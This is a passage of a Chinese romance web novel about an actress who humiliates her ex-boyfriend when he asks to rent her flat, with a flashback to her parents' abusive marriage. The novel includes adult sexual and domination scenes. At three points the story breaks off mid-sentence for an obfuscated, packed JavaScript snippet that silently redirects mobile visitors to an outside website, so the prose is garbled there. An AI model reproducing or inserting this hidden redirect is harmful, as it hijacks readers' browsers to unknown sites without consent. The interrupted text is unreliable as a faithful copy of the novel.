林微澜点头,找了双拖鞋给客人穿:“请进。请你帮忙切一点水果,谢谢。” 她很有礼貌地,下达了冒犯的命令。 有谁会让客人洗水果?但她是林微澜,她的客人是路潮,高中三年、大学四年,她一直都在行使类似的权力。 那个时候她还爱路潮,许多事情舍不得路潮做,命令下达得很有分寸,到了今天,这分寸就理所应当地荡然无存了。 路潮提腿就要往厨房走,下一瞬,他却怔住了。 回眸望向林微澜,女人依旧站在门口,浅色吊带裙,手臂扶着尚未关上的门,静静望着她。 路潮突然恨起自己的本能:“我洗?” “嗯。是不知道厨房在哪儿吗?”林微澜说,“你在这里住了四年。” 路潮咬牙默了半晌,终于迈向厨房。 林微澜莞尔一笑,道了声谢谢。 她跟着路潮,一路走到厨房的吧台旁坐下:“你妈妈的身体怎么样?听严哲说,她在中心医院住院。” “前段时间做了介入手术,恢复得很好,就快出院了。” “阿姨对我挺好的,明天我去医院看看她。” “不用去。”路潮连忙制止,他不可能让林微澜见到路卓君,真要见了面,还不知道会发生什么,“我妈妈病了之后不爱见客,你的心意我转达给她。” 林微澜:“那我买点水果和花,你转交给阿姨。” 路潮假笑:“也不用,心意到了就行,我妈都明白。” 林微澜不再勉强,专心观摩路潮的背影。 衬衫很适合他宽肩窄腰的身材,下摆一丝不苟地掖在裤子里,挑不出错处。 所谓挑不出错处,意味着这副打扮非常“安全”,林微澜不厌恶,也不心动。 水果洗净切好,整齐美观地装进盘中,路潮只拿了一只叉子,他自己并不准备吃,可他的眼睛在动,没叫餐桌上的两菜一汤逃过:“你没吃晚饭?” 林微澜:“我不饿,你坐。” 两人面对面坐在吧台两侧,路潮知道,到了进入正题的时候。 话到了嘴边,竟然这么难开口,他犹豫着问:“你和小曦重新加上微信了?” “对,”林微澜不满意路潮的开场白,他应该卑微地求她,而不是把话题扯开,“小曦挺可爱的,加回来就加回来。我和她本人也没有矛盾。” 她能接受路曦,是不是也能接受路曦的哥哥呢?路潮从小到大没有求过人,放不下姿态,万分期望林微澜能看透自己的心思,免去他煎熬地开口。 但他知道都是痴心妄想,有的话,得他自己说:“有件事……我……” 林微澜越是沉默,他越是知道她心里的玩味有多深,每说一个字,都像在她面前脱一件衣裳,说得越多,她越高兴。 因为她就是这样的一个人,把快乐建立在别人的痛苦上。 路潮横了心,将头低下:“小曦下个学期就高三了,我们租的房子离一中太远,她上下学坐公交很费时间、精力,学校里还有人欺负她,她不方便住校。” 话至此处,他抬了抬眼睑,林微澜依旧是平静的。 他鼓起一些勇气,继续说:“我想租你在绿源学府的房子,可以吗?” “这样啊。”林微澜明白了。 高三的学生下个月就高考,考完之后自然会空一批学区房出,空置的房源不成问题,那么路潮的难处,很有可能是钱。 林微澜问:“小曦的学习成绩怎么样?她想上哪所大学?” 路潮报了全国top10的校名。 林微澜叉起一块苹果喂进嘴里,若有所思。 高二晚上九点半下自习,高三则是十点半,等路曦上了高三,回家的时间就更晚,不确定因素也会变多。 林微澜高中读书很用功,文化课从没掉出过上央市前三,专业课更是当之无愧的长期第一名。 “是该有个好的环境让她好好读书。”这话发自她肺腑,不是客套。 似乎有些希望,路潮连忙补充说:“欠你的房租我会还,我可以打欠条。我真的会还。” 林微澜笑了下,清丽的面庞美得惊人,也足够令路潮心慌:“我不缺三瓜两枣的租金钱,免费借你住也不是不行。” 天底下没有这么便宜的事。 分手时林微澜太绝情了,路潮不认为她对自己还残留太多的情谊。 他知道,林微澜已经在下钩:“你想提什么条件?” “这要看你愿意付出什么。” 林微澜双手托住下巴,淡漠的眉宇间居然蕴含着几分天真。 “或者说,你有什么。” 终于还是来了,路潮心一沉,他和林微澜大学同居了四年,因为他一次次地拒绝,林微澜也出于感情而体谅、理解他,有些事始终不了了之。 那时他有资本,可以仗着林微澜喜欢他来拒绝。 今天他跌入人生谷底,除了脸和身体,还有那一点不知是否风化的情意,他在林微澜面前一无所有。 情意是虚的,摸不着,他不能剖开林微澜的心看一看她对自己到底怀揣着什么态度。 可他的肉|体是真实存在的,还很年轻,还很美好。 “我们一定要这样?”路潮仍要争一争。 “路潮,是你来求我的。你一定是走投无路,才会找我。当然了,你也可以离开。” 林微澜觉得这苹果不错,甜滋滋的汁水浸没她味蕾:“你还有健身的习惯吗?腹肌、胸肌都还在不在?” 椅子蹭着地面响了一声,是路潮站起身来,睫羽止不住地轻颤。 他快把下唇给咬破了,额头慢慢渗出汗珠来,眸一抬,林微澜正悠闲择选着下一口吃哪块苹果,并不看他。 林微澜垂着双眸,她只觉得余光里有一道穿黑色衬衫的影子,直愣愣杵着,好半天了,什么动作都没有。 她才要说无趣,准备请路潮离开,却瞥见路潮抬起手臂,指尖落在第一颗襟扣上。 黑色衬衫的衣襟,由路潮胸口的一小片白皙推开了。 林微澜的头皮蓦然酥酥麻麻。 继而是第二颗、第三颗…… 然而第三颗没有完全解开,路潮手抖得抓不住扣子,脸红得要滴血,他羞怯而愤恨,恨林微澜,更恨自己。 “继续啊。”林微澜轻轻催促他。 浑身颤抖的路潮、低声下气的路潮、隐忍不发的路潮,她都在今天全部见证过了。 意气风发的路潮、爽朗自在的路潮,她全部都在三年前的雨夜里抛弃了。 原来命运的不幸可以让一个人面目全非,她好痛苦也好舒心,整颗心酸爽地拧在一起,却也在尖锐地发痛。 之后他到底会露出什么神色,到底用什么语气,路潮的□□现今是什么样,他又能做到哪一步—— “借用一下洗手间,抱歉。” 路潮垂下了解衣裳的手,落荒而逃,匆匆冲进洗手间。 他做不到,他根本狠不下心来,他仍要守着那点可怜的尊严和脸皮。 林微澜大失所望,没意思,路潮不如崔世青豁得出去。 叮咚—— 门铃又响了。 林微澜做了几次深呼吸,前去查看是谁来了。 * 冲进洗手间,路潮的第一反应是趴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180381|180929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马桶上干呕,却什么都吐不出来,更哭不出来。 他胃里是空的,眼眶是干的,心口像被林微澜拿刀捅过,捅完又不拔刀,害得他痛不欲生,偏又流不出艳红的血。 路潮第一次意识到林微澜的小众爱好,是在大学期间,两人一起去听livehouse,林微澜发现旁边有个腕带红痕的男人,悄悄指引路潮去看。 路潮不懂其中的深意,林微澜就解释说: “他打了舌钉,手腕上和小腿都有鞭子抽过的痕迹。他是M。” 在那之后,林微澜提出过和路潮玩一玩,路潮死活不答应,林微澜也就算了。 路潮缓过来一些,踉跄地扶住洗手台,与镜中的自己对视。 你今天来这里,什么事都没有做成,你让妈妈失望,让妹妹的学业少了一层保障,你到底有什么用? 你在林微澜面前低声下气,她竟然半点都不心软,只知道羞辱你,你对她念念不忘到底有什么意思? 她不爱你了,她一点都不爱你了,爱你就不会这么对待你。 两颗眼泪簌簌滚落,路潮正要拂去,门铃竟响了起来。 他听见林微澜的脚步声和开门的动静。 “世青?” 崔世青来了。 而且林微澜唤他的时候,分明又惊又喜。 路潮哀伤的面庞一寸寸裂开,从内部迸发出慌乱,他不可能顶着满脸的泪去见前女友的现男友,他还要脸。 只能指望崔世青尽快走,他和林微澜还有事情没有聊完,林微澜不会久留崔世青的吧? “喏,你的卡布奇诺玫瑰。” 卡布奇诺玫瑰,林微澜最喜欢的玫瑰品种,也是路潮最常送她的品种。 “快进来,家里有切好的水果。” 虽然看不见林微澜此刻的表情,路潮却已能想象出她的笑容了。 “微微,可以吻你吗?我好想亲你。” 路潮骤然变得焦躁,因为崔世青问完这句话,客厅里便不再有人声。 他们吻在了一起。 可能还拥抱着彼此,在沙发上,在门口的茶几上,或许在他刚才坐过的吧台上,崔世青的手掌捧着林微澜脸庞,吻得轻柔缠绵。 路潮不晓得过了多久,他只知自己的双腿都麻木了。 这时,才听见崔世青略带羞涩的问了一句: “晚上我留下来吧,我……新打了乳|钉。” 林微澜笑着回应:“我可没叫你打。” “我自作主张讨你开心的。我要出镜,打别的地方不方便。衣裳脱了给你看看呀。” ……原来崔世青有这种手段,原来他是这样取悦林微澜的! 更令路潮浑身发凉的是,林微澜竟当洗手间里的他不存在,完全不制止崔世青的行为,仿佛故意让他听到。 客厅里,崔世青低低地喘|息了一声:“唔……弄疼我了,微微。” 路潮无措地捂住耳朵,恨不得冲出去赶走崔世青。 以前他也这样对待喜欢林微澜的那些男生,只要有他在,没有异性有做林微澜男朋友的资格。 现在他自己也没有资格了。 崔世青才是林微澜的正牌男友,年轻有为、英俊帅气、听话懂事,愿意满足林微澜的情趣。 方方面面,路潮都被碾压。 崔世青圈住她,下巴搁在她肩窝:“好啦,我来还有正事呢。最近忙,我不能常常来。” “这么快就要进组?” “不是,我接了两档综艺要录。” 林微澜蹙眉:“少接综艺,对你演戏没好处。以后观众们看你演的东西,很容易出戏。” 崔世青点点头,表示认可,但他也有事业上的私心:“我没有囤货的剧了,先上综艺刷刷脸。林总照顾我,肯给我资源,我这里还有几个剧本,你眼光好,帮我挑挑吧。” 几分钟的安静后,林微澜说话了:“这一部如果能爆,你就能升咖了。” “我当然想升咖啊,我升咖也给你长脸,是不是?”崔世青忍不住,又吻了吻女友的唇,“这部剧有个角色,是特别出演,气质和你很像,你有没有兴趣客串?如果你感兴趣,我和导演打声招呼。” 林微澜好奇是什么样的角色,可惜制片方只给崔世青发了前几集的剧本,她只能听崔世青的描述。 末了,她摇了摇头:“很无聊的工具人类型角色,完全是你的陪衬,没意思,我不感兴趣。” “好吧。再看看这部。”崔世青无奈地点开下一部戏。 五部本子挑下来,林微澜认为其中有两部比较好,可她毕竟不是崔世青本人,不能替崔世青做决定,何况星影传媒那边也会影响艺人的片约接取。 “我心里有数了。”崔世青说,“我困了微微,我们洗洗睡?” 林微澜:“你回自己家。明天你再来,戴我新给你买的胸链还有那种衣服。” 崔世青不甘心就这么走了,打乳|钉好痛好痛的:“再玩一会儿嘛……我伺候你呀。” 又过去一段时间,外面大概是结束了,崔世青需要做下清洁:“我先洗把脸。” 路潮一惊,洗手间里没有供他藏身的地方,可他绝对不能正面遇见崔世青! 心慌意乱地转了一圈后,路潮打开洗手台下的柜子,蜷缩着钻了进去。 11. 一缕细雾 “我先洗把脸。”崔世青说完就动了身,“一楼的洗手间在哪里?” 他第二次来嘉珑花园这套房,对各处都不熟悉。 林微澜迟疑一两秒钟,忽而唇畔稍弯,终是为男友指明了方向:“那里。” 如果路潮从内反锁了门,林微澜会说门锁坏了,叫崔世青上二楼洗脸;如果前任、现任在洗手间里打了照面……那就很好玩了,反正吃亏的人不会是她本人。 啪嗒,崔世青打开了洗手间的门。 什么异样都没有。 一楼的洗手间面积不大,虽做了干湿分离设计,可两个区域几乎打通,窗户装还有防盗网,路潮没有藏身的地方,更不可能翻窗逃走。 揣着疑惑,林微澜也进了洗手间。 趁这机会,她迅速扫了一眼四周,的确没有路潮的人影,她不信大活人能凭空消失……等一下,洗手台下的柜子,因为她重新搬进来,还没有收纳东西,不是正好可以藏人吗? “微微,你怎么进来了?”从镜中看见女友,崔世青莞尔一笑。 他还光|裸着上半身,新打入的银钉泛出两点冷光。 “突然想亲你了”林微澜掰过崔世青肩膀,给予一个不深不浅的吻。 崔世青为此意乱情迷,他托起林微澜身体,让她双腿缠在自己腰间:“浴缸里再来一次好吗?我舍不得你,姐姐。” 林微澜答应了下来。 她不喜欢男人丑陋的器官,却喜欢崔世青的手与舌头。 除了这两样长处,崔世青还很会叫,用舌头的时候叫不出来,用手就有空闲了。 他的身体得不到快乐,可他的心神荡漾兴奋,所以他的声音情不自禁拍在林微澜耳畔,缠绵粘腻,活像在撒娇。 林微澜卧在浴缸底部,头颅微微后仰,分明视线被浴缸边缘阻碍了,还要望向洗手台的方向。 ……那小小的柜子里,路潮在做什么呢? 尴尬?愤怒?捂着耳朵无地自容? 好想现在就看到他的脸,好想看到。 “行了,”林微澜突然喊了停,“世青,你早些回去。我想早些休息。” 崔世青一怔:“姐姐,我们才开始。我做得不好吗?” 他为林微澜的笑而不语感到慌乱,慌忙低下头,小狗似的用额头蹭林微澜掌心:“让我留下来,我可以陪你玩,我可以下跪……我什么都可以。你最好了,你最好了。” 林微澜怜爱地抚了抚崔世青面颊:“乖乖的。” 像被下了咒语,崔世青再心不甘情不愿,也没有再哀求,连原因都不多问,很快离开了林微澜家。 林微澜留在洗手间,没有起身送他。 一分钟,两分钟,她不再等了,扯起从肩头滑落的肩带,笃笃笃,笃笃笃……带着温柔清浅的笑,敲响洗手台下储物柜的门。 吱呀—— 明亮的光线照入柜中,将路潮惨白的脸分割成明明灭灭的一块一块。 他紧靠着柜子内壁,手抱膝盖,身体蜷缩作一团。 林微澜愣了愣,意识到路潮脸上那些散着淡淡微光的脉络,是泪痕。 路潮在哭? 路潮居然还会哭? 发酸又发痛的心跳跃着,林微澜蹲下身,伸手捧住男人冰凉的面颊,她要看清楚。 路潮的表情,不如她想象的精彩,找遍整张脸,竟只能找到痛苦,单一无趣。 纵然如此,足够引起林微澜血液的沸腾了。 因为她从未见过这样的路潮。 唇色红红的,看起来很好亲,脸挂着泪,眼神空洞。 很脆弱,很漂亮。 很让她心酸。 指尖拂过他眼尾,林微澜替他抹去一点泪痕,颤声轻唤:“小潮?” 路潮张了张嘴,什么声音都没能发出,他本能地低下头,苦笑了一声: “是我错了。” 他追求林微澜三年,恋爱四年,今天晚上,在喜欢林微澜的第十年,他躲在她家狭小的角落里,听着她和另一个他无论如何都比不上的男人亲密。 是他错了,错在不该惦记她这么多年。 路潮掀起眸,他不能狼狈地走,他要有骨气地走,可他强装出的坚定眼神,却在看清林微澜神情的刹那化为乌有了。 林微澜面色苍白地蹲着,一只手扶住墙壁,看起来很痛苦。 砰的一声,路潮连忙从柜子里爬出来,连头顶磕到柜顶发出沉重的闷响都不顾。 他半跪着扶住林微澜,急切询问:“不舒服?头疼?还是怎么了?” “路潮……”林微澜头晕目眩地冒冷汗,手非要在男前友手臂上借力才稳得住身形,“我……” “先别说话,”手掌穿过她的腿弯与腋下,路潮抱起她,“我抱你到沙发上。” * 林微澜七岁那年,林倩在外地拍戏,三个多月没有回家,赵元修瞒着妻子,偷偷地带女儿到拍摄地探班,想给妻子一个惊喜。 父女俩到了林倩下榻酒店的地下停车场,在车里等林倩回来。 “爸爸,妈妈什么时候回来?我好想妈妈!”林微澜很久没见到妈妈,兴奋地坐不住,两根马尾全辫都蹭乱了。 赵元修耐心地给她梳头发,笑说:“快了快了,等看到妈妈,你要大声喊她哦。妈妈见到微微,肯定很高兴。” 林微澜眼睛亮亮的:“嗯!” 父女俩等了很久,终于听见不远处传来脚步声,林微澜坐直身体去看,真是林倩来了。 只是,妈妈身边还跟着个她不认识的男人。 林微澜不管那么多,她只想跑下车要妈妈亲亲她。 谁知赵元修突然抱紧了她,用力将她的嘴捂住,不叫她发出任何声音。 隔着车窗玻璃,挣扎着的林微澜清楚地看见,林倩亲了那位男士的嘴巴。 七岁的早慧的孩子,还接触过了一些电视和刊物,已能隐约明白亲吻意味着什么了。 只有喜欢,才会亲嘴。 而后,林倩和那位男士抱在一起,亲得难舍难分,十分忘我,根本没注意车窗里有一双困惑的眼,和一双泪水涟涟的眼。 不对呀,妈妈喜欢的不是爸爸吗?林微澜不解地回头,赵元修瞪着双眸,浑身没有一处不在发抖。 慢慢地,她安静了下来,不再挣扎了,乖乖留在赵元修臂弯里。 等林倩离开停车场,赵元修摸摸林微澜头顶,竭力压下稀碎的哭腔,假笑着叮嘱:“不论微微看到了什么,都不要告诉妈妈,好吗?妈妈在外面拍戏太累了,她需要人照顾……” “妈妈只是找那个叔叔照顾她吗?”林微澜似懂非懂。 “嗯,是啊。”赵元修一颗泪落下来,砸在她手臂上,“有时候,爸爸照顾不到她……” 不对,不应该是这样的,林微澜说不出事情的真相到底是什么,但她觉得林倩没有错,赵元修也不像有错。 她很听话,赵元修不让她问,她就不问。 当天晚上,一家三口还是见了面,气氛融洽得和平时几乎没有区别,林倩与赵元修恩恩爱爱、如胶似漆。 只不过林微澜没叫双亲里的任何一个人抱着吃饭,这是唯一的不同。 她坐在自己的小椅子上,眼睛扑棱棱地眨来眨去……嗯,妈妈和爸爸的关系很好呀! 林微澜以为没事了,早早入睡,却在夜半醒来时发现林倩夫妻都不在身边,反而是卫生间里有动静。 她光着脚寻过去,透过门缝,看见赵元修挺着背,跪在地上。 林倩怒发冲冠,一巴掌又一巴掌地扇丈夫耳光:“谁允许你突然来找我?谁允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180382|180929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还带微微来,她看见了怎么办!赵元修,你怎么敢!” 嘴角渗出鲜血来,赵元修承受下了所有的掌掴,可是悲痛是承受不住的:“我们结婚的时候你答应过,不会再……” “住口!”林倩暴怒,又给了丈夫一巴掌,“我们离婚,明天就离!” “不行!倩倩,我错了!”赵元修惊慌失措,一把抱住妻子双腿,“不要和我离婚,是我错了!倩倩,是我错了!” 林倩也流了泪,她抽泣几声,痛苦地闭了闭眼,蓦然蹲下身,吻上赵元修的唇。 为什么妈妈除了爸爸还会亲别人?人能同时喜欢上两个人吗? 为什么赵元修挨了打还这么顺从?为什么平时恩爱的妈妈爸爸,也会大打出手? 为什么妈妈打完了爸爸,又要亲他? 林微澜想不通。 她站在卫生间门口,像是目睹了一场酷刑,无助地哭起来。 林倩听到动静,冲出卫生间抱起女儿,又亲又哄。 而后赵元修就犯了哮喘,性命攸关,林倩把丈夫送医不到半个小时,林微澜又开始发烧,之后再有什么事,林微澜统统不记得了。 那天过去,林微澜有一个多星期没见着赵元修,长大了回想起来,说不准赵元修是因为被林倩打伤了脸,不好见人。 再过段时日,林微澜就不愿意上学了,更不爱说话,吃饭也挑挑拣拣,每天一睁眼就是问妈妈和爸爸在哪。 这种强烈依赖母父的状态持续了很久,突然有一天,林微澜就懂得了林倩为什么会在停车场亲吻别人。于是她对双亲的依赖就戛然而止了。 * 是我错了——赵元修二十年前的哭声是什么样,林微澜时至今日都记得。 这是她的禁忌,崔世青知道,路潮不知道,因为路潮从来不说这四个字。 “喝水。”路潮倒了杯温水来,送到林微澜手中,“去医院。” “不去。”林微澜倚在柔软的沙发里,明眸半闭,她暂且没能完全从回忆里抽身,心跳得很快,嘴却很硬,“我没事。” “你没事的话,我就走了。”路潮坐得离她很远,眼下泪痕未干。 “走?”他还有事情没办完,林微澜不至于忘了。 路潮冷着脸,快要把牙齿咬碎:“房子的事,我自己再想办法,不用林小姐帮忙。” 这倒很合他的脾气,倔,林微澜发自肺腑地提议:“路潮,不要为了你个人的情绪,影响你妹妹的学业。” 路潮冷笑:“你不也为了你个人的爱好,来侮辱我?” “蠢货,你的尊严,比你妹妹的前程重要?” “那你也不能把我当成一条狗!” 路潮蹭的站起身,颈间挣出一条条青筋:“我是人,林微澜,我是人!你想和狗玩游戏,就找崔世青!” 林微澜被他投射下的阴影罩住,面露错愕。 上一次见到路潮这么生气,是分手那天。 她毁了他精心铺陈的满屋子的玫瑰花,把带刺的花砸上他的脸。 男人当然可以生气,例如怀疑她的爱不真实,觉得她不够爱自己,这时候生些小气的男人,十分可爱。 但眼前的路潮不可爱。 “你走吧。” 林微澜端起水杯,抿了一口没意思了,没必要留人了:“我不舒服,我需要休息。” 为她的话,路潮的气焰竟一寸寸萎靡下来,他的指尖动了动,咬牙切齿:“……不舒服,就去医院。” 林微澜忽地望向他。 他眉宇间愤恨未消,另一种情绪却迅速涌上上来,两者相互角力、攻伐。 终于,路潮眼中的恨意彻底看不见了。 “去医院看看吧”路潮斜睨着别处,嗓音软下几分,“林微澜,车钥匙给我,我送你。” 12. 一缕细雾 林微澜的身体情况,她心里有数,缓过来就好,没必要去医院:“你太小题大做了。” “身体健康的事,能叫小题大做?”路潮严肃了面色,语气里甚至沾着点焦急。 林微澜一怔,想到他有一位患了癌症的母亲,那么他的这份反应实在很合理。 她慢吞吞地喝水,有意瞥向餐桌:“阿姨做了晚饭,我忙着工作没吃,可能低血糖了,所以头晕。” “一忙工作,就不知道吃饭,还啃手指甲,林微澜,你几岁的人了?” 路潮气不打一处来,她的坏习惯还没改,肯定是崔世青那个没用的东西劝得少。 他在生气。 林微澜既不惧怕也不恼火,反而兴奋地咬了咬唇。 她藏匿起心潮澎湃,垂眸微声:“我饿了。” 脸埋进了柔软的抱枕,她什么都看不见了,唯独能听到路潮的脚步声。 很快,又是微波炉运作的声音。 林微澜手指蜷缩,抓皱了抱枕套。 几分钟过后,微波炉结束工作,林微澜再听见路潮的话音:“我该走了。” 他们恋爱那几年,林微澜就常常讶异,路潮一个养尊处优长大的人,居然那么会照顾人。 她曾经问过,路潮很得意地告诉她:“我不会,难道我不知道学?我是你男朋友嘛。” 抱枕似乎没有那么软了,硌得林微澜眼眶疼。 “林微澜?又怎么了?怎么不说话?” 路潮喊了她一声,她这才抬头,发现路潮悄无声息地从厨房到了沙发跟前,半蹲身子与他对视,面露慌乱。 她抬头之后,他的慌乱瞬间就寻不到影子了。 路潮沉默几秒,说:“没事我就真的走了,拜拜。” “房子呢?不租了?” “……租谁的都不租你的。” 他走了,林微澜没有送。 但是他临开门前的半瞬迟疑,被林微澜看了个清楚。 家里安静了很久,只能听见小区里的虫鸣。 过了会儿,客厅再次响起《天堂鸟》的唱词,比白天唱得更温柔、更细腻,尾音更缠绵,那份疯癫也消失了。 林微澜把饭菜和水果都端到茶几上来,按下播放键,继续观看林倩的老电影。 原来又爱又恨,应该这样演啊。 过了十分钟,手机突然收到一条讯息。 水浪:【《天堂鸟》还有需要我做的事吗?】 好奇怪,水浪可不是什么热情的人,居然会在稿件全部定下后,主动询问后续事宜,林微澜回复说:【没有了,曲子不是都改完了吗?】 水浪:【哦,那就好,我随便问问。你吃晚饭了吗?】 林微澜:【正在吃,有事?】 水浪:【没事,拜拜。】 林微澜:“……” 这人到底要干什么啊?不过既然他主动找上门,不如把有的事一并说了完。 林微澜无奈地夹了一筷子青菜吃下,敲出一段话发送:【有没有兴趣加入星影传媒旗下的戏剧工作室?还在走流程,很快就正式成立了。我们计划每年孵化2-3部剧,你有机会大显身手。】 这才她等了很久,对话框才弹出新消息。 水浪:【不感兴趣。你好好吃饭吧。】 莫名其妙,林微澜嘀咕了声,不再理会水浪。 * 次日早上九点,伴着钢琴琴键淌出的乐声,林微澜唱了几句词。 爱和恨混杂在一起,是想看她又不愿看的眼睛,是离开时放了狠话却还要顿一顿的脚步。 唱到高潮部分,林微澜只觉得胸腔里的每一条筋肉都在震颤,带得她眼眶也发酸。 一曲唱完,郑东晴由衷赞叹:“对的,对的,林老师,我昨天说的就是这个感觉!不愧是林老师,这么快就找到状态了。” 郑东晴多多少少有奉承的意味,但林微澜本人对自己的表现非常不满,她居然要花一晚上才能找到状态,太不专业了。 演员的演技没有封顶的那一天,只要还在业内拼搏,就许多东西要学习、精进。 “感觉对了就好。”林微澜点点头,在剧本上做好标注,“昨天我和你说的事考虑得怎么样?工作室组建初期,需要吸纳人才,你现在和我们签约,就是元老了。” 郑东晴瞥见林微澜那份纸质剧本上颜色不同的标注,突然感到惶恐。她很有自知之明,尤其是在林微澜这种成就的演员面前,更看得清自己的能力:“林老师,我很向往,可我怕自己能力不够。《天堂鸟》剧本体量很小,我勉强能驾驭,可是就算是这种小剧本,您也帮我改了很久。” “你的剧本很成熟完整了,我们只是把它改得更精彩,而且我很享受这个过程,不会觉得麻烦。”林微澜说。 “真的?”郑东晴禁不住笑了。 林微澜为她倒了杯温水:“你会越写越好的,《天堂鸟》会给你的编剧生涯开个好头。你加入我们的话,进步会更快。你再考虑考虑,我不急。你不要有压力,也不要怕我会失望。” 郑东晴被劝说得脑袋晕乎乎的,她终究是个才毕业的学生,一时半会儿给不出答案:“我再想想。” 她在将近十二点的时候离开了嘉珑花园,与此同时,林微澜接到父亲的电话。 赵元修:“微微,晚上回家吃饭吧。等你妈妈下班了,我们一起接你回家,好吗?” 作为女儿,林微澜爱林倩和赵元修,要是他们需要她付出什么,她不会犹豫,但要她和他们天天生活在一起,她真的会迟疑。 思忖了好一会儿,林微澜还是在赵元修的沉默里答应了:“好,我等你们。” 五点半才过,赵元修的车准时停在嘉珑花园九栋前,林微澜坐进后排,却发现车里只坐着父亲一个人:“妈妈呢?” 赵元修垮着脸踩下油门,没说话。 “爸?”林微澜朝前探了探身子。 “她临时有饭局。”赵元修嗓音冷冷的,没了平时的轻柔。 林微澜心一沉:“什么饭局?” 赵元修:“星影新签了几个艺人,你妈妈一直对新人很照顾,参加饭局去了。” 车里陷入诡异的缄默,林微澜掐住自己的虎口,又是这样,林倩永远都在忙、忙、忙。 “你没和她说我晚上回家吃饭?” 过了好几秒钟,赵元修的神色才松缓下来:“怪我说得太晚,她那边的饭局先定了。微微,妈妈不是故意爽约的,你今晚在家睡,等她回来好吗?” “……嗯,我等妈妈。”这几个字就是林微澜的回应了。 她和林倩的人生,有很长一段时间都在错位。 林微澜最需要亲人陪伴的童年和青春期,林倩大红大紫,几乎不着家;等林倩步入中年,把人生重心转移一部分到家庭上,却轮到林微澜为学业和事业奔波了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180383|180929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事业有成的母亲,理所应当被女儿崇拜;忙忙碌碌的母亲,难以避免被女儿埋怨。 林微澜打开车窗,叫上央市黄昏时的风吹进车里,耳侧的两缕发丝被风绞在一起了,她也无心去管。 * 林公馆的客厅,长久点着林微澜最喜欢的那款绿茶香薰。 赵元修厨艺很好,可惜他确诊哮喘后,就很少下厨,即使偶尔想一展身手,也会戴上口罩,把抽油烟机开到最大,做那些轻油烟的清淡菜肴。 上次就是因为他给妻子做了一盆麻辣小龙虾,不幸哮喘发作,才进了医院。 今天他学乖了,他要做清蒸鲈鱼。 赵元修做饭很利落,因为这道菜是专门做给妻女的,也没要家里的厨师帮忙。 很快,一盘盘佳肴端上餐桌。 “吃饭喽。”赵元修递给女儿一双筷子,笑意款款。 林微澜接过了筷子,但没有动作。 “微微,胃口不好?这是你最喜欢的清蒸鲈鱼。” “吃不下。” 林微澜吃不下东西,赵元修也一样。 他们食欲不振的理由并不完全相同,但都由同一个人引起。 餐厅干脆就这样安静下来。 父女俩心照不宣地相对而坐、各自沉默,直到家门被从外打开—— 是林倩回来了。 林微澜与赵元修不约而同地站起来——赵元修比较浮夸,他是弹起来的。 林倩怀里抱着两样东西,一束弗洛伊德玫瑰,一只巨大的兔子玩偶:“来搭把手啊。” “倩倩,我来!”赵元修乐呵呵地箭步冲过去,替妻子接下两样东西,“我以为你不回家了。” 兔子玩偶有些份量,林微澜接过来掂了掂重量,她有这个牌子所有款式的玩偶,唯独没有这一款。 “我露了个脸就回来了,给你俩个惊喜嘛。”林倩摸摸丈夫的脸,笑吟吟的,“微微,这是才发售的新款,喜欢吗?” 林微澜忍不住莞尔,所有的不愉快都消弭瓦解了:“喜欢,谢谢妈妈。” 她在饭桌上一向没什么话,倒是赵元修,总有话要问林倩: “饭局都有什么人?有没有我认识的?” 林倩笑而不语。 赵元修顿时心惊胆战:“姐姐——” “都是女人和年轻小伙子,你怕什么?” “年轻小伙子我就不怕了?谁知道有没有胆大包天的狐狸精?你去年收的那个实习生助理,小小年纪打扮得花枝招展,我都不知道他要给谁看!” 林倩在餐桌下轻轻踢了踢丈夫,提醒说:“微微面前,你说话克制点。” 赵元修撇了撇嘴,小声嘀咕:“本来就是,总有男人忘了我们林总是有夫之妇……哼。” “够了吗?”林倩笑得无奈又温柔。 林微澜耳濡目染二十多年,早就知道赵元修这种类型的恋爱脑该用什么话术哄了。 动动嘴皮子就行,半点不累人。 可是有的男人啊…… 脑海里的浓雾慢慢汇聚成一个晦暗的人影,他转过了头,泪水涟涟、眼眶通红,委屈又愤恨地哭诉着林微澜听不清的话。 看不清人脸,林微澜却晓得他是谁。 她在雾中勾了勾手指,他就摇着尾巴奔过来。 却在具她一步之遥顿住步伐,凶恶地露出两颗尖利犬牙,转身离她而去。 13. 一缕细雾(二更) 《天堂鸟》第一轮只要求演员自备曲目,展示唱和跳,筛掉实力不够格的演员;第二轮则要求演员自选角色,随钢琴老师的伴奏演唱剧中的曲目,以确认演员个角色是否契合。 七点半,林微澜提前抵达流金大剧院一号排练厅。 参加二轮面试的第一位演员叫作艾琳,才推门,林微澜就听见林倩低声说: “好像没什么印象啊。” 